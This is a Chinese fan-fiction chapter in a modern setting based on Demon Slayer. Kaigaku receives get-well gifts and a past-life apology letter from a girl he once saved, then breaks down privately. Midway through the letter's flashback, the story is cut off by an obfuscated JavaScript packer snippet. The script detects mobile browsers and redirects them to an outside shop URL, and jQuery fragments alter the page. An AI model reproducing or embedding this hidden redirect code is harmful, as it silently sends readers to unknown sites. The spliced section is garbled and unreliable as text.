1


    “狯岳,我们好想你啊!”


    午休期间,朱纱丸打来了视频电话。屏幕里,她的脸几乎要贴在摄像头上,嘴里发出惊天动地的大喊。


    无奈地把手机拿远了一点。这样的情景,让我想起了某段不妙的回忆。


    她应该不在户外吧,还会被富冈追杀吗?


    “没记错的话,我才离开一天而已。”


    你到底是在想我这个人,还是想抄我的课堂笔记啊。


    “话是这么说没错啦…”


    朱纱丸支支吾吾许久,矢琶羽的脸从屏幕边缘挤了进来。


    他的语气怨念无比:“因为你没在,今天老师们开始随机喊人回答问题了。”


    “……”


    如果可以,我也不想成为他们的固定人选。听那些早已学过的无聊课程,走神更容易被抓到了。


    “老师以为我上课睡觉,一整天都在被连续点名…”矢琶羽的声音里透着绝望。


    那你倒是把眼睛睁开啊。


    “真是的,看来少了我,你们完全不行啊。”


    “是啊是啊!”朱纱丸把脸挤了回来,“少了你总感觉教室空荡荡的!狯岳,你什么时候回来啊?”


    “还早得很呢。”


    我摸着脸上的口罩,敷衍应道。


    就算你们再怎么需要我,也不可能现在就回去。


    “诶、大家都很想你哦。”朱纱丸遗憾地说,“不过你是生病了,那也没有办法…”


    “哈?”我敏锐地眯起眼睛,“大家?除了你们两个还有谁。”


    朱纱丸把手机转了个方向。


    “喏,你看。”


    摄像头晃动了几下,最终定格的画面,让我吓了一跳。


    这两个家伙,竟然直接在教室里和我聊天?还嚷嚷得那么大声?


    还好没说什么奇怪的话,你们两个是一点都不注重隐私吗?!


    不过,比起这个,教室陌生的样子,才是引发困惑的源头。


    …那是什么啊。


    我观察了很久,才难以置信地确认,那花里胡哨的玩意是我的座位。


    “…我才一天不在,座位就变成垃圾桶了吗?”


    原本整洁的桌面上,此刻堆满了奇怪的东西。鲜花、果篮、礼品盒,甚至还有几罐五颜六色的千纸鹤。


    搞什么,该不会是以为我要死了,提前开始庆祝吧?


    “才不是垃圾呢。”朱纱丸解释道,“是慰问品哦,同学们送你的慰问品!”


    那不是更奇怪了吗!


    为什么我会收到那些家伙的慰问?我和他们熟吗?


    似乎是朱纱丸的行为引起了其他人的注意,一道女声忽然从画面外传来。


    “稻玉同学,请一定要早日康复!我们都很担心你!”


    这个人跟朱纱丸倒是关系不错,可我和她认识吗?


    感到迷惑不解,下意识出声附和。


    “嗯…啊、我会的。”


    “稻玉和我说话了?!”那女生大惊小怪地呼喊,随即引来更多人的注意。


    “稻玉!早点回来啊!”


    “学校没你在,大家上课都没劲了!”


    “快点好起来!”


    七嘴八舌的声音自四面八方涌来。我手指一抖,迅速把手机关闭,中断了画面的传输。


    屏幕暗下去,映出戴着口罩,眉间紧皱的脸。


    光是露出眼睛,都能看出不是个好相处的家伙。


    难道我真的生病了?


    怀疑地摸了摸自己的额头,体温正常。


    完全无法理解。


    2


    下午放学时间,玄关传来开门声,以及一阵窸窸窣窣的动静。


    走出房间,看见我妻善逸正艰难地把几个大袋子拖进客厅。


    “商场搞活动了?”


    “啊?”我妻善逸有气无力地嘟囔,“什么啊、这些都是学校里大家拜托我带给你的。”


    “……”


    “大哥可真受欢迎啊…”


    他用袖子擦拭额头上的汗珠。


    “连老师的都有,被叫进办公室的时候真是吓死我了,好不容易才带回来的。喂喂这些可都是你的东西!不要事不关己地站在那里,至少来搭把手吧?!”


    “才不要。”我抱起手臂,“比起礼物,更可能是刀片或者毒药之类的危险品吧,你想害死我吗?”


    “每一个我都仔细确认过了!都是正常的礼物!”


    哈?你是什么,我的经纪人吗?


    不屑地瞥他一眼,转身欲走。


    “诶?你不看看吗?”


    “都是些垃圾,我不需要。”


    “这么说也太过分了,明明是大家的一片心意…!而且我答应过要好好交到你手里的。”


    “我可没答应过那种事,你想要就拿走好了。”


    “可是…等等、大哥!”


    “不是说了我不需要吗。”


    “不是那个啦…”他犹豫了一下,拿出一张浅蓝色的信封,“这里还有一封信,是给你的吧。”


    信?


    我停下脚步。


    “信封上写了你的名字。只有这个我没拆开看过。”


    “……”


    “是女孩子写的吧?真好啊。”他小声嘀咕,“什么时候也能有女孩子给我写信呢…”


    看着他这副没出息的样子,心中骤然产生快意。


    这是我有而他没有的东西。


    我收下了。


    迅速抽走信封,无视他的抱怨,转身走回房间。


    学校里,有谁会给我写信?


    至少肯定不是那家伙猜测的情书。


    拆开信封,抽出里面的信纸。纸张细腻,摸起来偏厚,是比较昂贵的类型。


    信的开头,端正的字迹写着我的名字。


    3


    「


    『爸爸…妈妈…!』


    父母残缺的身体倒在血泊中,再也无法回应她的呼唤。


    一头高大畸形的怪物,正贪婪地撕扯着他们的遗体。听到这撕心裂肺的呼喊,它转过头,嗜血的目光看向躲在角落里的她。


    她紧闭双眼,颤抖着祈祷。神啊,不管是谁都好,请来救救她吧…


    仿佛听到了她的呼唤,一阵雷鸣骤然在这间小屋里响彻。


    雷声近在咫尺,却没有伤到她分毫。是神迹吗?是神明来拯救她了吗?


    她鼓起勇气睁开眼。那里没有雷神,而是一名身姿挺拔的持刀男性。


    一片昏暗中,她看不清他的脸。


    只有那双野猫般的眼睛,泛着幽幽的绿光。


    他手中的刀,向下滴落腥臭的血,置身于血海之中,脚下是怪物逐渐消散的躯体。


    『不、不要杀我!』


    她又一次惊叫起来,以为是新的威胁,便跪下来,拼命哀求。


    『武士大人,求求您,放过我吧…』


    他没有回话。过了一会儿,她听到他发出一声轻啧。


    然后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066179|188648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,是渐行渐远的脚步声。


    她情不自禁地抬起头。


    他已经走到了门口,在月光下,她终于得以一瞥他的容貌。


    那是一张还很年轻,甚至带着稚气的脸。绿色的眼睛里什么都没有,仿佛什么都不在乎。


    他一次也没有回头,转瞬间就消失在了夜色里。


    她看着那个人的背影,隐隐感觉到自己做错了什么。


    后来,她埋葬了父母。凭着微薄的线索,开始寻找那名年轻武士。


    再后来,她遇到了其他穿着同样的制服,背后写着『滅』字的人。


    她成为了藤屋的一员。


    此后,不知道算不算幸运。能斩出雷声的剑士,整个鬼杀队只有一位。


    她知道了他的名字。狯岳。


    他总是独来独往,拒绝所有人的靠近。


    他在这处藤屋停留的时间总是很短,短到她既攒不够勇气,也没机会上前搭话。


    其余队士知道了她的目的,纷纷来劝说。


    『那家伙眼高于顶,肯定早就不记得你了。』


    『小姐你这么温柔漂亮,别惦记那种人了。』


    她想。早晚有一天,她会鼓起勇气,上前道歉的。


    可她再也没有等到那个机会。」


    4


    信的最后几行,字迹有些颤抖。


    「狯岳君,我不知道这封信能否顺利交到你手中,也不知道你是否还记得那个愚蠢的女孩。」


    「但我还是想告诉你。」


    「谢谢你,在那晚救了我。」


    「还有,真的非常、非常对不起。」


    「对不起,明明是我的救命恩人,却那样对待你。」


    「对不起,没在当时向你道谢。」


    「对不起,我一直没有勇气道歉。」


    「对不起,即使是现在,我也只敢用信件诉说。」


    什么啊,还以为写了什么有意思的东西。


    结果只是在浪费时间。


    我捏着信纸,视线有些颤抖。


    …真该死。


    混账。畜牲。


    仿佛抛弃了过往的现代教育,用街头流浪中学来的脏话咒骂。


    事到如今,说这些还有什么用。


    胸中的猛虎来回踱步,发出低沉的吼声。


    那种事,我早就不在乎了。真可笑,为什么觉得我会在乎那种事?


    这算什么,怜悯?同情?迟来的忏悔?


    恶心感在胃部蔓延开来,几乎要呕吐。


    可恶、可恶可恶…


    去死,全都去死!我什么都不需要!


    …


    等猛虎餍足地转身离去。


    低下头,洁白的信纸早已化作散落一地的碎片。


    我抬起手,摸了摸滚烫的眼眶。


    干燥的。什么都没有。


    只是因为瞪得太久,传来一阵酸涩的刺痛。


    我面无表情地蹲下身,一片一片地捡起那些纸片。


    收拾干净后,我站起身,走向房门。


    手指扣住推拉门的木框,唰地将其拉开。


    我妻善逸正好举着手,维持着准备敲门的姿势,在门突然打开时,他明显吓了一跳。


    “大、大哥?”


    他呆呆地看着我,表情又变得惊恐起来。


    我看着他,慢慢地勾起嘴角。


    “喂,善逸。”


    我听见自己冷静的声音。


    “今晚,一起睡吧。”